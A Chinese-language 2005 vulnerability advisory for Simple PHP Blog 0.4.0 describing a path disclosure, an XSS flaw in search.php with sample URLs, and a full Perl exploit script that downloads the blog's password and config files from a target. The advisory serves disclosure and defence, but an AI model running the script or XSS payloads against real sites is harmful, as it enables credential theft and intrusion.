sphpblog多个输入验证漏洞


添加时间:
2005-08-18

系统编号:
WAVDB-00547
BUGTRAQ: 13170

影响版本:
Simple PHP Blog 0.4.0

程序介绍:

Simple PHP Blog是一款无需数据库支持的简单Blog程序。

漏洞分析:

sphpblog中存在多个漏洞,起因是应用程序没有正确的验证用户输入。远程攻击者可以利用这些漏洞获取敏感信息或执行任意代码。
 A. 完整路径泄漏
 http://[Url]/sphpblog/scripts/sb_functions.php
 Ex:
 Warning: main(scripts/sb_fileio.php): failed to open stream: No such file or directory in
 /var/www/sphpblog/scripts/sb_functions.php on line 52
 Fatal error: main(): Failed opening required 'scripts/sb_fileio.php'
 (include_path='.:/usr/share/pear') in
 /var/www/sphpblog/scripts/sb_functions.php on line 52

 B. search.php跨站脚本漏洞
 http://Url/sphpblog/search.php?q=[XSS]
 http://[Url]/sphpblog/search.php?q=%3Cmarquee%3Ewe+are+a+like%3C%2Fmarquee%3E
 http://[URl]/sphpblog/search.php?q=

漏洞利用:

#!/usr/bin/perl -w

# Remote grabbing  sphpblog password & config file by y3dips
# Bug find by y3dips <http:// y3dips echo or id>
# Bug published at http://echo.or.id/adv/adv12-y3dips-2005.txt

print  \n* Remote grabbing  sphpblog password & config file by y3dips  *\n ;
require LWP::UserAgent;

if(@ARGV == 1)
    {

$target= $ARGV[0];

my $ua = LWP::UserAgent->new;
$ua->agent( MSIE/6.0 Windows );
$ua->timeout(10);
$ua->env_proxy;

my @url = ( http://$target/config/password.txt ,   http://$target/config/config.txt );

foreach my $urlz (@url) {
            my $injek = $ua->get($urlz);
        print  \n-------------------------------\n ;
            if ($injek->is_success)
                 {   print $injek->content;} 
            else
                 {die $injek->status_line;}
        print  \n-------------------------------\n ;

}
}
else {
print  Use: perl $0 [www.target.com] \n ;
}

# EOF y3dips(c)2005
# greetz :
# @echo|staff = qw/ m0by the_day z3r0byt3 comex k-159 c-a-s-e s`to lirva32 anonymous /;
# @waraxe.us  = qw/ waraxe LINUX shai-tan all_guys /;
# @echo = qw/ newbie_hacker@yahoogroups.com  #e-c-h-o_@_DALnet /;



解决方案:
厂商补丁:
Simple PHP Blog
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.simplephpblog.com/index.php

信息来源:
<*来源:y3dips (y3dips@echo.or.id)
         Alexander Palmo (apalmo@bigevilbrain.com)
   链接:http://echo.or.id/adv/adv12-y3dips-2005.txt
         http://marc.theaimsgroup.com/?l=bugtraq&m=111359259108644&w=2
 *>